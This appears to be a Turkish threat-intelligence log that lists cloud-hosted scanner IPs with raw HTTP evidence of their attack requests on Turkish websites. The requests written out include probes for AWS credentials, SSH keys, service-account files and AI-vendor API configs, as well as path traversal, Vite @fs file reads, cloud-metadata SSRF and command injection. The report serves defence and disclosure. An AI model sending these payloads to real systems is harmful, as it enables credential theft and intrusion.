12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
12/Aug/2026:06:54:58 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
35.205.50.183 — 28 saldırı imzalı istek / 102 toplam istek

Prefix: 35.205.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:15:38:22 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/root/.anthropic/config.json?raw??
12/Aug/2026:15:38:22 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/home/ubuntu/.openai/config.json?raw??
12/Aug/2026:15:38:32 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
12/Aug/2026:15:39:05 +0300denizciden.com.trGET404PROC_ENVIRON/proc/self/environ
12/Aug/2026:15:39:14 +0300denizciden.com.trGET200CMDI/?command=%3B+echo+GSCAN_CMDI+%23
12/Aug/2026:15:39:17 +0300denizciden.com.trGET200CMDI/?exec=%60echo+GSCAN_CMDI%60
12/Aug/2026:15:39:17 +0300denizciden.com.trGET200CMDI/?command=%60echo+GSCAN_CMDI%60
12/Aug/2026:15:39:19 +0300denizciden.com.trGET404CMDI/api/ping?host=%3B+echo+GSCAN_CMDI+%23
12/Aug/2026:15:39:19 +0300denizciden.com.trGET200CMDI/?ip=%3B+echo+GSCAN_CMDI+%23
12/Aug/2026:15:39:21 +0300denizciden.com.trGET404CMDI/api/ping?host=%60echo+GSCAN_CMDI%60
12/Aug/2026:15:39:23 +0300denizciden.com.trGET404CMDI,EXEC_API/api/system?cmd=%3B+echo+GSCAN_CMDI+%23
12/Aug/2026:15:39:23 +0300denizciden.com.trGET404CMDI/admin/config?cmd=%3B+echo+GSCAN_CMDI+%23
12/Aug/2026:15:39:25 +0300denizciden.com.trGET404CMDI/admin/config?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
09/Aug/2026:21:37:51 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/usr/src/app/.aws/credentials?raw??
34.74.253.47 — 28 saldırı imzalı istek / 44 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301PASSWD_FILE/@fs/etc/passwd?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET301AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
12/Aug/2026:06:16:22 +0300picassoshopcoffee.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
35.240.125.207 — 26 saldırı imzalı istek / 129 toplam istek

Prefix: 35.240.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
27/Aug/2026:05:18:47 +0300elixtria.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
27/Aug/2026:05:18:47 +0300elixtria.comGET403PASSWD_FILE/?file=../../../../etc/passwd
27/Aug/2026:05:18:47 +0300elixtria.comGET404PASSWD_FILE/media../etc/passwd
27/Aug/2026:05:18:47 +0300elixtria.comGET403PASSWD_FILE/download?file=../../../../etc/passwd
27/Aug/2026:05:18:47 +0300elixtria.comGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
27/Aug/2026:05:18:50 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
27/Aug/2026:05:18:51 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
27/Aug/2026:05:18:51 +0300elixtria.comGET404LOCAL_FILE_URL/read?url=file:///proc/1/environ
27/Aug/2026:05:18:51 +0300elixtria.comGET403AWS_CREDENTIALS/download?file=../../.aws/credentials
27/Aug/2026:05:18:51 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
27/Aug/2026:05:18:51 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
27/Aug/2026:05:18:51 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
27/Aug/2026:05:18:52 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
27/Aug/2026:05:18:52 +0300elixtria.comGET404AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
27/Aug/2026:05:18:53 +0300elixtria.comGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
27/Aug/2026:05:18:57 +0300elixtria.comGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
27/Aug/2026:05:18:57 +0300elixtria.comGET404AWS_METADATA_SSRF/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
27/Aug/2026:05:18:58 +0300elixtria.comGET403AWS_CREDENTIALS/admin/config?cmd=cat+/root/.aws/credentials
27/Aug/2026:05:18:58 +0300elixtria.comGET404AWS_METADATA_SSRF/screenshot?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
27/Aug/2026:05:18:58 +0300elixtria.comGET404AWS_METADATA_SSRF/api/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
27/Aug/2026:05:18:58 +0300elixtria.comGET404AWS_METADATA_SSRF/api/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
27/Aug/2026:05:18:58 +0300elixtria.comGET404AWS_METADATA_SSRF/api/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
27/Aug/2026:05:18:58 +0300elixtria.comGET404GCP_METADATA_SSRF/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
27/Aug/2026:05:19:00 +0300elixtria.comGET404AWS_CREDENTIALS/proxy?url=file%3A%2F%2F%2Froot%2F.aws%2Fcredentials
27/Aug/2026:05:19:01 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
27/Aug/2026:05:19:02 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
34.74.98.8 — 26 saldırı imzalı istek / 84 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
21/Aug/2026:11:03:00 +0300denizciden.com.trGET404PASSWD_FILE/static../etc/passwd
21/Aug/2026:11:03:00 +0300denizciden.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
21/Aug/2026:11:03:00 +0300denizciden.com.trGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
21/Aug/2026:11:03:00 +0300denizciden.com.trGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:11:03:00 +0300denizciden.com.trGET404PROC_ENVIRON/proc/self/environ
21/Aug/2026:11:03:01 +0300denizciden.com.trGET404PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
21/Aug/2026:11:03:01 +0300denizciden.com.trGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:11:03:01 +0300denizciden.com.trGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:11:03:02 +0300denizciden.com.trGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:11:03:03 +0300denizciden.com.trGET404AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:11:03:03 +0300denizciden.com.trGET404AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:11:03:04 +0300denizciden.com.trGET404PROC_ENVIRON/static../proc/self/environ
21/Aug/2026:11:03:06 +0300denizciden.com.trGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
21/Aug/2026:11:03:07 +0300denizciden.com.trGET404LOCAL_FILE_URL/read?url=file:///proc/1/environ
21/Aug/2026:11:03:07 +0300denizciden.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
21/Aug/2026:11:03:07 +0300denizciden.com.trGET404AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
21/Aug/2026:11:03:07 +0300denizciden.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:11:03:11 +0300denizciden.com.trGET404GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
21/Aug/2026:11:03:19 +0300denizciden.com.trGET404AWS_CREDENTIALS/.aws/metadata/iam/security-credentials/
21/Aug/2026:11:03:19 +0300denizciden.com.trGET404AWS_CREDENTIALS/aws/iam/temporary-credentials
21/Aug/2026:11:03:19 +0300denizciden.com.trGET404AWS_CREDENTIALS/aws/metadata/iam/security-credentials
21/Aug/2026:11:03:20 +0300denizciden.com.trGET404AWS_CREDENTIALS/aws/s3/credentials.yml
21/Aug/2026:11:03:20 +0300denizciden.com.trGET404AWS_CREDENTIALS/aws/metadata/iam/security-credentials/
21/Aug/2026:11:03:22 +0300denizciden.com.trGET404AWS_CREDENTIALS/pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000
21/Aug/2026:11:03:30 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
34.158.52.41 — 26 saldırı imzalı istek / 84 toplam istek

Prefix: 34.158.32.0/19 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
22/Aug/2026:11:47:19 +0300parasalhaber.com.trGET404PROC_ENVIRON/proc/self/environ
22/Aug/2026:11:47:19 +0300parasalhaber.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
22/Aug/2026:11:47:20 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:21 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
22/Aug/2026:11:47:22 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
22/Aug/2026:11:47:22 +0300parasalhaber.com.trGET404GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
22/Aug/2026:11:47:22 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/api/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
22/Aug/2026:11:47:22 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/proxy?url=file%3A%2F%2F%2Froot%2F.aws%2Fcredentials
22/Aug/2026:11:47:24 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/.aws/metadata/iam/security-credentials/
22/Aug/2026:11:47:24 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/api/aws/credentials
22/Aug/2026:11:47:24 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/.aws/ecs-task-credentials
22/Aug/2026:11:47:24 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000
22/Aug/2026:11:47:24 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/aws/s3/credentials.yml
22/Aug/2026:11:47:25 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/internal/aws/credentials
22/Aug/2026:11:47:25 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/admin/config?cmd=cat+/root/.aws/credentials
22/Aug/2026:11:47:26 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
22/Aug/2026:11:47:27 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
34.148.145.221 — 26 saldırı imzalı istek / 32 toplam istek

Prefix: 34.148.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/public../.aws/credentials
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/media../home/ec2-user/.aws/credentials
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?import&raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?import&raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/files../.aws/credentials
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/static../.aws/credentials
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/static../home/ec2-user/.aws/credentials
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/media../.aws/credentials
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
10/Aug/2026:00:11:54 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/usr/src/app/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/tmp/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/vendor/.aws/credentials?raw??
10/Aug/2026:00:11:55 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
34.87.29.37 — 25 saldırı imzalı istek / 89 toplam istek

Prefix: 34.87.0.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
15/Aug/2026:15:23:26 +0300profesyonelweb.com.trGET404CONFIG_SECRET/@fs/root/.anthropic/config.json?raw??
15/Aug/2026:15:23:26 +0300profesyonelweb.com.trGET404CONFIG_SECRET/@fs/app/.anthropic/config.json?raw??
15/Aug/2026:15:23:26 +0300profesyonelweb.com.trGET404CONFIG_SECRET/@fs/root/.openai/config.json?raw??
15/Aug/2026:15:23:27 +0300profesyonelweb.com.trGET404CONFIG_SECRET/@fs/app/.openai/config.json?raw??
15/Aug/2026:15:23:27 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/aws-credentials
15/Aug/2026:15:23:28 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
15/Aug/2026:15:23:28 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/aws/credentials
15/Aug/2026:15:23:29 +0300profesyonelweb.com.trGET200CMDI/?host=%3B+echo+GSCAN_CMDI+%23
15/Aug/2026:15:23:29 +0300profesyonelweb.com.trGET403CMDI/?cmd=%60echo+GSCAN_CMDI%60
15/Aug/2026:15:23:29 +0300profesyonelweb.com.trGET200CMDI/?ping=%60echo+GSCAN_CMDI%60
15/Aug/2026:15:23:29 +0300profesyonelweb.com.trGET403CMDI,EXEC_API/api/exec?cmd=%60echo+GSCAN_CMDI%60
15/Aug/2026:15:23:30 +0300profesyonelweb.com.trGET403CMDI/debug?cmd=%60echo+GSCAN_CMDI%60
15/Aug/2026:15:23:30 +0300profesyonelweb.com.trGET403CMDI/system?cmd=%60echo+GSCAN_CMDI%60
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
15/Aug/2026:15:23:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
15/Aug/2026:15:23:32 +0300profesyonelweb.com.trGET200GCP_METADATA_SSRF/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
35.225.183.188 — 22 saldırı imzalı istek / 165 toplam istek

Prefix: 35.224.0.0/15 · Region: us-central1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.
